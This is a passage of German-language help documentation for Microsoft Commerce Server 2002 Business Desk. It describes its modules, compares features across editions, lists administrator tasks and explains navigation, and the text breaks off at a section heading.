  • Hilfe zu Commerce Server 2002. Hierbei handelt es sich um die komplette derzeit installierte Dokumentation. Sie enthält Links sowie wichtige Informationen für Siteentwickler und Systemadministratoren. Durch das Kopieren der Datei Commerce_Server.chm in einen freigegebenen Ordner können Systemadministratoren Business Desk-Benutzern die komplette Hilfe zu Commerce Server 2002 zur Verfügung stellen.
  • Hilfe zu Business Desk (vom Business Desk-Client). Hierbei handelt es sich um einen Teilbereich der Hilfe zu Commerce Server 2002. Die Business Desk-Hilfe wird beim Installieren des Business Desk-Clients implementiert. Dieser Teilbereich bietet einen beschränkten Zugriff auf das komplette Commerce Server 2002-Hilfesystem. Es ist jedoch eine Verknüpfung zum Thema Commerce Server-Konzepte in der Hilfe zu Commerce Server 2002 vorhanden.

Dieser Abschnitt beinhaltet folgende Themen:

  • Erste Schritte mit Business Desk. Beschreibt die Komponenten von Business Desk sowie das Anpassen und Konfigurieren von Business Desk und erläutert erste Schritte bei der Verwendung des Produkts.
  • Business Desk-Analyse. Erläutert das Einrichten und Ausführen von Berichten, die zum Analysieren der Aktivitäten in der Website verwendet werden können.
  • Business Desk-Kampagnen. Erläutert das Erstellen und Verwalten verschiedener Kampagnentypen (Anzeigen, Preisnachlässe und Direktsendungen), um verschiedene Benutzergruppen zu erreichen, eine stärkere Präsenz des Unternehmens auf dem Markt zu erzielen und den Absatz zu steigern.
  • Business Desk-Kataloge. Erläutert das Erstellen eines Katalogschemas und das Erstellen und Verwalten eines Katalogs.
  • Business Desk-Bestellungen. Erläutert die Überprüfung des Bestellstatus sowie die Verwaltung von Bestellvorlagen und Warenkörben. Beschreibt auch den Genehmigungsvorgang für Bestellungen. Erläutert darüber hinaus das Hinzufügen, Ändern und Löschen verschiedener Datencodetypen.
  • Business Desk-Profile. Erläutert, wie Sie neue registrierte Benutzer, Organisationen sowie Sitebegriffe erstellen und Eigenschaften zu Profildefinitionen hinzufügen.
  • Business Desk-Sicherheit. Erläutert, wie der Benutzerzugriff auf bestimmte Kategorien und Module in Business Desk eingerichtet wird.
  • Problembehandlung in Business Desk. Erläutert das Suchen und Beheben allgemeiner Probleme, die bei der Arbeit mit Business Desk auftreten können.


Erste Schritte mit Business Desk

Dieser Abschnitt enthält wichtige Informationen für Benutzer, die Commerce Server Business Desk erstmals verwenden.

Dieser Abschnitt beinhaltet folgende Themen:

  • Business Desk: Übersicht. Beschreibt die Business Desk-Anwendung und den Business Desk-Client. Erläutert, wie Business Desk für Ihre individuellen Anforderungen konfiguriert werden kann.
  • Business Desk: Grundlagen. Beschreibt, wie Sie in Business Desk navigieren, Business Desk-Module sichern und Tastenkombinationen verwenden können.
  • Vorbereitende Schritte. Enthält eine Auflistung der Schritte, die Sie ausführen müssen, um Ihre Website zu aktivieren und für Geschäftstätigkeiten zu öffnen.
  • Allgemeine Tasks. Listet die am häufigsten mit Business Desk ausgeführten Tasks auf und bietet Links zu den entsprechenden Hilfethemen.
  • Verwenden der Business Desk-Onlinehilfe. Erläutert, wie Sie Hilfethemen suchen und ausdrucken können.
  • Wenn Sie weitere Hilfe benötigen. Listet die Tasks auf, bei deren Ausführung Ihnen der Systemadministrator bzw. Siteentwickler behilflich sein kann.


Business Desk: Übersicht

Commerce Server Business Desk ist ein webbasiertes Siteverwaltungstool, das im Lieferumfang von Microsoft Commerce Server 2002 enthalten ist. Business Desk dient als Host für die Geschäftsmanagementmodule, mit deren Hilfe Sie Ihre Sites konfigurieren, verwalten und analysieren können. Mit den Business Desk-Modulen lassen sich beispielsweise mehrsprachige Kataloge erstellen, Preisinformationen in Katalogen in verschiedenen Währungen aktualisieren und neue Anzeigen an bestimmte Benutzer richten. Anschließend können Sie Berichte ausführen, die die Auswirkungen dieser Änderungen auf die Produktivität der Site messen.

Hinweis

Commerce Server 2002 enthält zwei Dokumentationssätze:

  • Commerce Server 2002-Hilfe. Hierbei handelt es sich um die vollständige Commerce Server 2002-Hilfe. Sie bietet Links und wichtige Informationen für Siteentwickler und Systemadministratoren. Systemadministratoren können den vollständigen Commerce Server 2002-Hilfesatz für Benutzer von Business Desk bereitstellen, indem Sie die Datei commerce_server.chm in einen gemeinsam genutzten Ordner kopieren.
  • Business Desk-Hilfe (von Business Desk Client). Dieser Dokumentationssatz ist aktuell installiert, wenn Sie den Business Desk Client installiert haben. Dabei handelt es sich um eine Unterkomponente der vollständigen Commerce Server 2002-Hilfe. Mit dieser Unterkomponente haben Sie den Zugriff auf die Commerce Server 2002-Hilfe beschränkt. Es steht jedoch ein Link zum Thema "Commerce Server-Konzepte" in der Commerce Server 2002-Hilfe zur Verfügung.

Business Desk ermöglicht das Festlegen zielgruppenabhängiger, rollenbasierter Sicherheitseinstellungen. Das bedeutet, dass Business Desk-Benutzer nur die Module anzeigen und verwalten und nur die Tasks ausführen können, für die sie autorisiert sind.

Dieser Abschnitt beinhaltet folgende Themen:

  • Business Desk-Features im Überblick
  • Featurevergleich zwischen den Versionen von Business Desk
  • Änderungen der Benutzeroberfläche von Business Desk
  • Business Desk-Anwendung und -Client
  • Business Desk-Module und -Kategorien
  • Aktualisieren der Website mit Business Desk
  • Anpassen von Business Desk
  • Systemadministratortasks


Business Desk-Features im Überblick

Die folgende Tabelle bietet einen Überblick über die einzelnen Features von Commerce Server Business Desk.

Business Desk-Feature Ausführbare Tasks
Analyse
  • Analysieren der Siteeffektivität durch Ausführen von Commerce Server-Berichten oder durch Erstellen eigener benutzerdefinierter Berichte.
  • Identifizieren erfolgreicher Produkte durch Commerce Server-Berichte. Anhand der Produktliste können Preisnachlasskampagnen erstellt werden.
Kampagnen
  • Zuweisen von Preisnachlässen zu Produkten.
  • Personalisieren des Einkaufserlebnisses mit gezielten Produktangeboten.
  • Anbieten von optimal zugeschnittenen Inhalten für einen bestimmten Benutzer in einem bestimmten Kontext.
  • Erstellen und Verwalten von personalisierten, gezielten Preisnachlässen sowie von Direktmarketing- und Werbekampagnen.
  • Zuweisen von Anzeigen und Preisnachlässen zu Benutzern eines bestimmten Profils. Beispielsweise können Sie bestimmte Anzeigen für Benutzerinnen zuweisen, die die Site dreimal pro Woche besuchen und drei oder mehr Produkte gekauft haben.
  • Erstellen und Planen von Kampagnen für Kunden, die Konkurrenten innerhalb der gleichen Branche sind, damit die konkurrierenden Anzeigen nie auf der gleichen Seite angezeigt werden.
  • Berechnen der Anzeigenpreise nach der Anzahl der Anzeigenanforderungen oder -klicks, die Ihre Kunden erhalten möchten.
  • Preisgestaltung für Werbekunden basierend auf der Seite, auf der die Anzeige erscheinen soll.
Kataloge
  • Erstellen und Aktualisieren von Katalogen der angebotenen Produkte.
  • Erstellen mehrsprachiger Kataloge.
  • Erstellen von Katalogen in mehreren Währungen.
  • Erstellen virtueller Kataloge mit Sonderpreisen und/oder speziellen Produktgruppen für bestimmte Benutzer.
  • Importieren von Produktkatalogen aus anderen Datenquellen im XML-(Extensible Markup Language)-oder im CSV- (durch Trennzeichen getrennten) Format.
  • Exportieren von Katalogen im XML- oder CSV-Format.
  • Exportieren von Änderungen, die ab einem bestimmten Datum vorgenommen wurden, in einen Katalog.
  • Hinzufügen von Suchmöglichkeiten (z. B. die im Folgenden genannten), um den Benutzern die Suche in Ihrer Site zu erleichtern:
    • Kategoriensuche. Ermöglicht die Suche nach Produktkategorien.
    • Freitextsuche. Findet Produkte über den vollständigen oder teilweisen Namen oder eine Eigenschaft.
    • Eigenschaftsbasierte Suche. Findet Produkte basierend auf einem Eigenschaftswert, z. B. "Preis < 10 €".
    • Drilldownsuche. Eingrenzen der Suchanforderung, bis das gewünschte Produkt gefunden wird.
  • Austauschen von Katalogdaten mit Lieferanten mithilfe von Microsoft BizTalk Server 2000 oder höher
Bestellungen
  • Hinzufügen von Versandarten in mehreren Sprachen.
  • Hinzufügen von Steuersätzen für bestimmte Länder/Regionen sowie Bundesländer/Kantone.
  • Durchsuchen der Commerce Server-Bestelldatenbank nach vorhandenen Bestellinformationen.
  • Löschen nicht mehr genutzter, gespeicherter Warenkörbe.
Profile
  • Verwalten mehrerer Millionen Benutzer und Organisationen.
  • Erstellen von Profilen für beliebige unternehmensrelevante Größen, z. B. Benutzer und Organisationen.
  • Festlegen, welche Informationen Sie über Benutzer sammeln möchten, die Ihre Site besuchen.
  • Festlegen der Katalogsätze, die bestimmten Benutzern angezeigt werden.
  • Erstellen von Zielausdrücken, um Inhalte Benutzern zuzuweisen.
  • Erstellen von Werbe-, Preisnachlass- und Direktsendungskampagnen, um bestimmte Benutzergruppen anzusprechen.
Sicherheit
  • Erteilen von Berechtigungen zum Ausführen bestimmter Tasks in Business Desk an Benutzer von Windows-Konten.
  • Erteilen von Zugriffsberechtigungen für bestimmte Business Desk-Module an Benutzer von Windows-Konten.
  • Erteilen von Zugriffsberechtigungen für bestimmte Kataloge, Katalogeigenschaften und Katalogkategorien an Benutzer von Windows-Konten.
  • Erteilen von Berechtigungen zum Verwalten von Profileigenschaften an Benutzer von Windows-Konten.


Featurevergleich zwischen den Versionen von Business Desk

Dieses Thema fasst die Features zusammen, die von den verschiedenen Versionen von Commerce Server Business Desk unterstützt werden: Commerce Server 2002 Enterprise Edition, Commerce Server 2002 Standard Edition, und Commerce Server 2000.

Analysefeatures

Kampagnenfeatures

Katalogfeatures

Bestellfeatures

Profilfeatures

Sicherheitsfeatures

Analysefeatures

In dieser Tabelle werden die Business Desk-Versionen hinsichtlich der unterstützten Analysefeatures verglichen.

Feature | Commerce Server 2002 Enterprise Edition | Commerce Server 2002 Standard Edition | Commerce Server 2000
Erstellen neuer Berichte | Ja | Ja | Nein
Anpassen von Berichten | Ja | Nein | Ja
Exportieren von Berichten als Liste in das Listen-Manager-Modul | Ja | Nein | Ja
Analysieren von Segmentmodellen | Ja | Nein | Ja
Exportieren von Affinitätslisten in das Listen-Manager-Modul | Ja | Nein | Nein
Drillthroughfunktionen für Berichte | Ja | Ja | Nein
Erstellen von domänenübergreifenden Berichten | Ja | Ja | Nein

Kampagnenfeatures

In dieser Tabelle werden die Business Desk-Versionen hinsichtlich der unterstützten Kampagnenfeatures verglichen.

Feature | Commerce Server 2002 Enterprise Edition | Commerce Server 2002 Standard Edition | Commerce Server 2000
Erstellen mehrsprachiger Anzeigen und Preisnachlässe | Ja | Ja | Nein
Erstellen von Preisnachlässen für bestimmte Benutzergruppen | Ja | Ja | Ja
Erstellen von gezielten Werbekampagnen | Ja | Ja | Ja
Erstellen von gezielten Direktsendungen | Ja | Ja | Ja
Planen von Kampagnen für Kunden, die in derselben Branche miteinander konkurrieren | Ja | Ja | Ja
Festlegen der Rechnungsbeträge für Werbekunden basierend auf der gewünschten Anzahl der Werbeanfragen oder Klicks, die ihre Anzeigen erhalten sollen | Ja | Ja | Ja
Festlegen unterschiedlicher Rechnungsbeträge für Werbekunden entsprechend der Webseiten, auf denen ihre Anzeigen erscheinen sollen | Ja | Ja | Ja

Katalogfeatures

In dieser Tabelle werden die Business Desk-Versionen hinsichtlich der unterstützten Katalogfeatures verglichen.

Feature | Commerce Server 2002 Enterprise Edition | Commerce Server 2002 Standard Edition | Commerce Server 2000
Preisberechnung in mehreren Währungen | Ja | Ja | Nein
Mehrsprachige Kataloge | Ja | Ja | Nein
Virtuelle Kataloge | Ja | Ja | Nein
Katalogsätze | Ja | Ja | Ja
Benutzerdefinierte Kataloge | Nein (ersetzt durch virtuelle Kataloge) | Nein (ersetzt durch virtuelle Kataloge) | Ja
Aggregierter Inhalt von mehreren Katalogen | Ja | Ja | Nein
Überprüfen des Inhalts einer XML-Katalogdatei, ohne sie zu importieren | Ja | Ja | Nein
Importieren und Exportieren von Löschvorgängen für Katalogartikel | Ja | Ja | Nein
Exportieren von Änderungen, die ab einem bestimmten Datum vorgenommen wurden, in einen Katalog | Ja | Ja | Nein
Erstellen von Beziehungen zwischen Produkten und zwischen Katalogen | Ja | Ja | Nein
Austauschen von Katalogdaten mit Lieferanten mithilfe von Microsoft BizTalk Server | Ja | Ja | Ja
Mehr als 256 Kataloge pro Site zulässig | Ja | Ja | Nein
Längere Textfelder für Produkte (keine Begrenzung von 8 KB/Zeile) | Ja | Ja | Nein

Bestellfeatures

In dieser Tabelle werden die Business Desk-Versionen hinsichtlich der unterstützten Bestellfeatures verglichen.

Feature | Commerce Server 2002 Enterprise Edition | Commerce Server 2002 Standard Edition | Commerce Server 2000
Hinzufügen von Versandarten in mehreren Sprachen | Ja | Ja | Nein
Hinzufügen von Versandarten | Ja | Ja | Ja
Hinzufügen von Steuersätzen für bestimmte Länder/Regionen sowie Bundesländer/Kantone | Ja | Ja | Ja
Durchsuchen der Commerce Server-Bestelldatenbank nach vorhandenen Bestellinformationen | Ja | Ja | Ja
Löschen nicht mehr genutzter, gespeicherter Warenkörbe | Ja | Ja | Ja

Profilfeatures

In dieser Tabelle werden die Business Desk-Versionen hinsichtlich der unterstützen Profilfeatures verglichen.

Feature | Commerce Server 2002 Enterprise Edition | Commerce Server 2002 Standard Edition | Commerce Server 2000
Oberfläche zum Entwerfen von Profildefinitionen | Ja | Ja | Ja
Profilbearbeitung | Ja | Ja | Ja (beschränkt auf Benutzer und Organisationen)
Bearbeiten von Sitebegriffen | Ja | Ja | Ja
Verwaltung von Microsoft Active Directory-Gruppen | Ja | Ja | Nein
Mehrwertige Profile | Ja | Ja | Nein
Mehrwertige Sitebegriffe | Ja | Ja | Nein
Bearbeiten eingebetteter Profile | Ja | Ja | Nein
Bearbeiten allgemeiner Profile | Ja | Ja | Nein
Importieren und Exportieren von Profilschemas | Ja | Ja | Nein

Sicherheitsfeatures

In dieser Tabelle werden die Business Desk-Versionen hinsichtlich der unterstützten Sicherheitsfeatures verglichen.

Feature | Commerce Server 2002 Enterprise Edition | Commerce Server 2002 Standard Edition | Commerce Server 2000
Sicherheitseinstellungen für einzelne Business Desk-Module | Ja | Ja | Ja
Sicherheitseinstellungen für Business Desk-Tasks | Ja | Ja | Nein
Sicherheitseinstellungen für die Verwaltung von Katalogen | Ja | Ja | Nein
Sicherheitseinstellungen für die Verwaltung von Katalogeigenschaften | Ja | Ja | Nein
Sicherheitseinstellungen für die Verwaltung von Katalogkategorien | Ja | Ja | Nein
Sicherheitseinstellungen für die Verwaltung von Profileigenschaften | Ja | Ja | Nein


Änderungen der Benutzeroberfläche von Business Desk

In der folgenden Tabelle sind die Benutzeroberflächen genannt, bei denen es Änderungen oder Neuerungen gibt, sowie die Kategorien und Module, in denen sie sich in Commerce Server 2000 befanden und in denen sie sich nun in Commerce Server 2002 befinden.

Commerce Server 2000 –
Kategorien und Module 		Commerce Server 2002 –
Kategorien und Module
Benutzer
Profil-Designer
N/V
 Profile
Profildefinitions-Designer
Profil-Editor
Bestellungen
Transaktionen veröffentlichen
 Bestellungen
Bestellcodes veröffentlichen
Kataloge
Katalog-Designer
 Kataloge
Katalogdefinitions-Designer
Profile
N/V
 Profile
Gruppen-Manager (für Supplier-Site )
Analyse:
N/V
 Analyse:
Affinitätslisten
N/V
N/V
 Sicherheit
Berechtigungen


Business Desk-Anwendung und -Client

Business Desk besteht aus zwei Teilen: der Business Desk-Anwendung und dem Business Desk Client.

  • Business Desk-Anwendung. Diese Anwendung ist das Managementtool, das Sie zum Konfigurieren, Verwalten und Analysieren Ihrer Site einsetzen. Nach der Installation von Commerce Server müssen Sie eine Lösungssite entpacken, mit deren Hilfe sich eine Business Desk-Anwendung installieren lässt. Business Desk-Anwendungen sind nur in Lösungssitepaketen verfügbar.

    Auf Business Desk kann von einem beliebigen Computer mit Microsoft Internet Explorer 5.5 zugegriffen werden. So erhalten Sie sicheren Remotezugriff.

  • Business Desk Client. Dies ist die Clientsoftware, die Sie auf einem lokalen Computer installieren. Der Client stellt die Oberfläche für den Zugriff auf die Business Desk-Anwendung bereit. Beim ersten Zugriff auf die Business Desk-Anwendung (über einen URL) wird der Business Desk Client gedownloadet und auf dem Computer installiert. Für den Computer, auf dem der Business Desk Client ausgeführt werden soll, empfiehlt sich eine schnelle Verbindung zur Business Desk-Anwendung.

Die folgende Abbildung zeigt, wie Sie Business Desk Clients für Remotezugriffe auf die Business Desk-Anwendung verwenden können, um Ihre Website zu aktualisieren.

Abbildung zur Verwendung von Business Desk.


Business Desk-Module und -Kategorien

Mithilfe von Modulen, den Hauptkomponenten von Commerce Server Business Desk, können Sie die unterschiedlichen Aspekte Ihrer Site verwalten. Kategorien enthalten Organisationscontainer für die Module. Die Kategorie Analyse enthält beispielsweise alle Module, die Sie zum Ausführen von Analysetasks verwenden.

In der folgenden Tabelle sind die Business Desk-Module und die Kategorien, in denen die Module enthalten sind, aufgeführt. Außerdem werden die Aufgaben beschrieben, die mit den Modulen durchgeführt werden können.

Kategorie Beschreibung
Analyse

Berichte
Abgeschlossene Berichte

 Ausführen und Überprüfen von Berichten über die Siteaktivität. Die Analysemodule enthalten einer Vielzahl von Berichten, die verschiedene Aspekte Ihrer Site abdecken können. Sie können auch eigene Berichte erstellen.
Kampagnen

Kampagnen-Manager
Listen-Manager
Kampagnenausdrücke
Zielgruppe
Referenztabellen
Kampagnen veröffentlichen

 Erstellen und Planen von Marketingkampagnen. Hinzufügen von Kundeninformationen und Verwalten von Kampagnen und Kampagnenartikeln. Beispiele für Kampagnenartikel sind Werbebanner, Direktsendungsaufträge und Preisnachlässe auf Produkte. Jeder Kampagnenartikel kann auf bestimmte Benutzer ausgerichtet werden, sodass eine hochgradig personalisierte Site erstellt wird.
Kataloge

Katalogdefinitions-Designer
Katalog-Editor
Katalogsätze

 Importieren von Katalogen, Erstellen von Katalogen, Hinzufügen von Produkten und Festlegen der Produktpreise. Erstellen von virtuellen Katalogen, die mehrere Währungen unterstützen, Sonderpreise enthalten und nur für bestimmte Benutzer angezeigt werden, z. B. für Mitglieder eines Clubs.
Bestellungen

Warenkorb-Manager
Standortcodes
Bestellstatuscodes
Bestellstatus
Versandarten
Steuersätze
Bestellcodes veröffentlichen

 Durchsuchen der Commerce Server-Datenbank nach vorhandenen Bestellinformationen. Hinzufügen, Löschen und Ändern von Bestellinformationen. Hinzufügen, Löschen oder Ändern von Versandkosten und Steuersätzen.
Profile

Profil-Editor
Benutzer
Organisationen
Gruppen-Manager
Profildefinitions-Designer
Sitebegriffs-Editor
Profile veröffentlichen

 Erstellen und Ändern von Benutzern, Organisationen und Profilen. Erstellen und Ändern von Sitebegriffen.

Hinweis

  • Das Modul "Gruppen-Manager" wird in Business Desk nur angezeigt, wenn Ihre Website Active Directory verwendet. Für weitere Informationen setzen Sie sich mit Ihrem Systemadministrator in Verbindung.
Sicherheit

Berechtigungen

 Gewähren, Verweigern und Anzeigen von Business Desk-Berechtigungen für Windows-Konten. Diese Berechtigungen bestimmen die Zugriffsrechte der Benutzer auf die einzelnen Business Desk-Module.

Siehe auch

Aktualisieren der Website mit Business Desk

Systemadministratortasks

Business Desk: Grundlagen

Vorbereitende Schritte


Aktualisieren der Website mit Business Desk

Die folgende Abbildung zeigt, wie Sie Ihre Website mithilfe der Business Desk-Module von Commerce Server aktualisieren können. So werden Sitedaten z. B. erst aus Ihrer Website abgerufen und in Data Warehouse importiert. Anschließend können Sie Analyseberichte ausführen.

Aktualisierung der Website mithilfe von Business Desk-Modulen

In der folgenden Liste werden die in der obigen Abbildung dargestellten Modultasks beschrieben:

  • Mithilfe der Analysemodule führen Sie Berichte über Benutzertransaktionen aus, die im Data Warehouse gespeichert sind.
  • Mit den Kampagnenmodulen können Sie Werbe-, Preisnachlass- sowie Promotionaktionen erstellen und veröffentlichen.
  • Mithilfe der Katalogmodule aktualisieren Sie die Informationen in Ihrem Katalog.
  • Mithilfe der Bestellmodule können Sie Bestellungen in Ihrer Website vornehmen und Benutzerbestellungen durchsuchen.
  • Mithilfe der Profilmodule können Sie Benutzerkennwörter zurücksetzen, andere Benutzerprofilinformationen ändern sowie festlegen, welche Profildaten gesammelt werden sollen.

Siehe auch

Business Desk-Module und -Kategorien

Systemadministratortasks

Business Desk: Grundlagen

Vorbereitende Schritte


Anpassen von Business Desk

Siteentwickler und Systemadministratoren können Commerce Server Business Desk Ihren geschäftlichen Bedürfnissen anpassen.

Die folgende Tabelle beschreibt verschiedene Bereiche, in welchen Sie die Anpassung mit Ihrem Systemadministrator oder Siteentwickler koordinieren können.

Business Desk-Komponente Anpassung und Koordination
Analyse: Modul "Berichte"
  • Der Systemadministrator ist für das regelmäßige Importieren von Daten in das Data Warehouse verantwortlich. Nachdem die Daten in das Data Warehouse importiert wurden, können Sie Berichte ausführen und diese mit den Daten vergleichen und analysieren.
  • Der Systemadministrator kann festlegen, welche Daten aus den Webprotokolldateien in Data Warehouse importiert werden. Er kann Benutzer- und Besuchsdefinitionen einrichten, die sich auf die Ergebnisse der ausgeführten Berichte auswirken.
Profile: Modul "Profildefinitions-Designer"
  • Der Systemadministrator erstellt mithilfe von Commerce Server-Manager Profildefinitionen, und fügt Datenquellen, Datenobjekte und Datenelemente hinzu, um die Struktur der Commerce Server-Datenbank der Profildefinition anzupassen.

    Wenn Sie Business Desk verwenden, um einer Profildefinition eine Profileigenschaft hinzuzufügen, wählen Sie das Datenelement aus, das der neuen Profileigenschaft an der Stelle in der Commerce Server-Datenbank zugeordnet ist, an der die von der Profileigenschaft gesammelten Daten gespeichert werden.

Sicherheit: Modul "Berechtigungen"
  • Der Systemadministrator erstellt Windows-Konten und weist Business Desk-Benutzer diesen Konten zu. Sie können mithilfe dieser Konten Benutzergruppen Business Desk-Berechtigungen zuweisen.
Allgemeine Systemeinstellungen
  • Der Systemadministrator konfiguriert die Systemeinstellungen, z. B. Maßeinheiten, Währungsoptionen, Zahlungsoptionen sowie Websiteregistrierung und Sicherheitsoptionen. Sie müssen jede Änderung an diesen Optionen und Einstellungen mit dem Systemadministrator absprechen.

Siehe auch

Business Desk-Module und -Kategorien

Systemadministratortasks

Vorbereitende Schritte

Wenn Sie weitere Hilfe benötigen


Systemadministratortasks

Ihr Systemadministrator (und möglicherweise auch der Siteentwickler) ist für das Konfigurieren von Commerce Server Business Desk entsprechend Ihrer Geschäftsanforderungen verantwortlich und muss sicherstellen, dass Sie auf die Daten, die Sie zum Analysieren und Aktualisieren Ihrer Website benötigen, zugreifen können.

Der Systemadministrator konfiguriert und wartet Business Desk mithilfe von Commerce Server-Manager. Commerce Server-Manager ist keine webbasierte, sondern eine Windows-basierte Anwendung. Daher können Sie nicht von einem Remotecomputer aus auf Commerce Server-Manager zugreifen.

Die folgende Tabelle enthält einige der Tasks, die Ihr Systemadministrator zur Konfiguration von Commerce Server ausführt. Wenn Sie zu diesen Tasks oder anderen Sitefunktionen Fragen haben, wenden Sie sich an Ihren Systemadministrator.

Kategorie Systemadministratortasks
Analyse
  • Falls nötig, zuweisen bestimmter Microsoft SQL Server-Datenbankrollen zu Business Desk-Benutzern. Einige Benutzer können dann Berichte lesen und speichern, während andere Benutzer diese Berichte nur lesen können.
  • Importieren von Sitedaten in das Data Warehouse, sodass Berichte ausgeführt werden können.
Kampagnen
  • Festlegen, wann und mit welcher Häufigkeit Artikel von Anzeigen- und Preisnachlasskampagnen in der Produktionssite aktualisiert werden.
  • Liefern der erforderlichen Verbindungszeichenfolge und SQL-Abfrage für die Erstellung von Listen direkt aus der SQL Server-Datenbank.
Kataloge
  • Festlegen, wann und mit welcher Häufigkeit Katalogaktualisierungen in der Produktionssite durchgeführt werden.
  • Konvertieren externer Kataloge im CSV- (durch Trennzeichen getrennten) oder XML-(Extensible Markup Language)-Format, sodass die Kataloge importiert werden können.
  • Einrichten von BizTalk Server, sodass Sie Kataloge und Dokumente mit Handelspartnern austauschen können.
  • Festlegen der folgenden Commerce Server-Eigenschaften:
    • Die Sprache (Gebietsschema) für die Website (1031 = Deutsch, 1033 = Englisch, 1034 = Spanisch, 1036 = Französisch, 1041 = Japanisch).
    • Das Gebietsschema für das Formatieren der Basiswährung.
    • Optionen für eine Alternativwährung, um das gleichzeitige Anzeigen zweier Währungen zu aktivieren.
    • Die Maßeinheiten für Gewichte zur Berechnung der Produktversandkosten (z. B. Kilogramm oder Pfund).
    • Die Optionen zur BizTalk Server-Integration, die das Senden und Empfangen der Kataloge von Handelspartnern ermöglicht.
Bestellungen
  • Definieren der Zahlungsarten, die von der Site unterstützt werden: Kreditkarte, Kontoabrechnung oder beides.
Profile
  • Hinzufügen von Profildefinitionen.
  • Hinzufügen von Datenquellen, die steuern, wo die Profildaten gespeichert werden.
  • Festlegen der folgenden Commerce Server-Eigenschaften:
    • Siteregistrierungsoptionen, die Ihren Benutzern die Registrierung in Ihrer Site ermöglichen.
    • Adressbuchoptionen, die der Site die Unterstützung von Adressbuchoptionen ermöglichen.
    • Anmeldeoptionen, die festlegen, wann Benutzer sich in der Site anmelden müssen: Anmeldung beim Betreten der Site; optionale Anmeldung beim Betreten der Site; Aufforderung zur Anmeldung zum Zeitpunkt des Kaufs; Anmeldung optional zu jedem beliebigen Zeitpunkt.
    • Gibt an, wie oft Benutzer zur Eingabe von Benutzername und Kennwort aufgefordert werden, bevor eine Aufforderung angezeigt wird, sich mit dem Kundendienst in Verbindung zu setzen.
Sicherheit
  • Hinzufügen von Windows-Konten und anschließendes Zuweisen von Business Desk-Benutzern zu diesen Konten. Mit Business Desk können Sie jedem einzelnen Konto gesonderte Berechtigungen zuweisen.

Siehe auch

Aktualisieren der Website mit Business Desk

Business Desk-Module und -Kategorien

Business Desk: Grundlagen

Vorbereitende Schritte


Business Desk: Grundlagen

Da Commerce Server Business Desk eine webbasierte Anwendung ist, unterscheidet es sich in mancherlei Weise von anderen PC-basierten Microsoft-Anwendungen, wie Microsoft Word und Microsoft Excel. So navigieren Sie z. B. durch Business Desk, indem Sie in einem Menü auf der linken Bildschirmseite Optionen (Module) auswählen. Dieser Aufbau entspricht dem zahlreicher Webseiten.

Dieser Abschnitt beinhaltet folgende Themen:

  • Navigieren in Business Desk
  • Verwenden von Symbolleisten-Schaltflächen
  • Importieren und Exportieren von Daten
  • Verwenden von Tastenkombinationen


Navigieren in Business Desk

Jedes Modul in Commerce Server Business Desk hat eine eigene, eindeutige Funktion. Dennoch wurden alle Module mit ähnlichen Navigationsfunktionen ausgestattet, um das Suchen und Ordnen von Informationen zu erleichtern. Nachdem Sie sich mit den grundlegenden Tasks eines Moduls vertraut gemacht haben, können Sie dieses Wissen im Umgang mit den anderen Modulen anwenden. Dieser Abschnitt beschreibt das Layout der Bildschirme von Business Desk und erläutert, wie Sie von einer Kategorie zum Modul und weiter zum Bildschirm navigieren.

Navigationsbereich

Inhaltsbereich

Symbolleisten-Schaltflächen

Navigationsbereich

Die linke Seite des Commerce Server Business Desk-Bildschirms wird Navigationsbereich genannt. In diesem Bereich können Sie Kategorien auswählen und Module öffnen. Wenn Sie auf den Namen einer Kategorie klicken, wird diese erweitert, und in einer Liste unterhalb der Kategorie werden die Modulnamen angezeigt. Klicken Sie erneut auf den Kategorienamen, um die Modulnamen wieder auszublenden.

Die Position des Pfeils links neben dem Kategorienamen gibt an, ob die Kategorie erweitert oder ausgeblendet werden kann. Ein nach rechts zeigender Pfeil deutet an, dass die Liste erweitert werden kann. Ein nach links zeigender Pfeil deutet an, dass die Liste bereits erweitert wurde.

Die folgende Abbildung zeigt den Navigationsbereich. Die Kategorie Bestellungen wurde erweitert und die Modulliste wird angezeigt.

Hinweis

  • Wenn Sie die Eigenschaften eines Elements aus der Liste anzeigen, wird der Navigationsbereich ausgeblendet. Wenn Sie z. B. in der vorherigen Abbildung die Eigenschaften für Code 1, Warenkorb, angezeigt haben, wird ein neuer Bildschirm geöffnet, und der Navigationsbereich ist nicht mehr sichtbar. Mit den Symbolleisten-Schaltflächen Zurück und Speichern und zurück kehren Sie zum Hauptbildschirm mit dem Navigationsbereich zurück.

Inhaltsbereich

Die rechte Seite des Business Desk-Bildschirms wird Inhaltsbereich genannt. Darin können Sie Sitedaten anzeigen und Informationen bearbeiten. Wenn Sie im Navigationsbereich auf einen Modulnamen klicken, wird im Inhaltsbereich eine Liste angezeigt, die alle aktuellen Informationen zu diesem Modul enthält.

Wenn Sie beispielsweise die Kategorie Bestellungen öffnen, und anschließend auf den Modulnamen Bestellstatuscodes klicken, wird im Inhaltsbereich der Bildschirm Bestellstatuscodes angezeigt. In diesem Bildschirm können Sie die Datencodes für Bestellstatus, Land/Region und Bundesland/Kanton anzeigen, hinzufügen sowie löschen.

Im Inhaltsbereich befinden sich zwei Grafiken:

  • Erforderlich Diese Grafik zeigt an, dass ein Feld im Bildschirm einen Wert erfordert. Sie können neue Bildschirminhalte erst speichern, wenn Sie in diesem Feld einen Wert eingegeben haben.
  • Mehrsprachig Diese Grafik zeigt an, dass ein Feld mehrsprachig ist. Sie können Werte in mehreren Sprachen eingeben. Weitere Informationen finden Sie unter Erstellen eines mehrsprachigen Katalogs.

Symbolleisten-Schaltflächen

Die Symbolleiste befindet sich am oberen Rand des Inhaltsbereichs und enthält Schaltflächen für die Standardaufgaben. Sie können beispielsweise auf eine Symbolleisten-Schaltfläche klicken, um ein Element hinzuzufügen, zu kopieren oder zu löschen. Jede Symbolleisten-Schaltfläche zeigt eine aussagekräftige Grafik der Aktion, die sie ausführt. Wenn Sie eine Beschreibung dieser Aktion anzeigen möchten, lassen Sie den Mauszeiger eine Weile über der Schaltfläche ruhen, bevor Sie darauf klicken. Im Abschnitt Verwenden der Symbolleisten-Schaltflächen finden Sie eine Liste aller verfügbaren Schaltflächen sowie eine Beschreibung der jeweils durchführbaren Funktionen.

Befehlsschaltflächen tragen die Beschriftung des Befehls, den sie ausführen. Sie dienen zur Ausführung bestimmter Tasks im Inhaltsbereich. Durch Klicken auf die Schaltfläche Alle auswählen werden beispielsweise alle Elemente in einer Ergebnisliste markiert.

Siehe auch

Verwenden von Symbolleisten-Schaltflächen

Verwenden von Tastenkombinationen

Verwenden der Business Desk-Hilfe


Verwenden von Symbolleisten-Schaltflächen

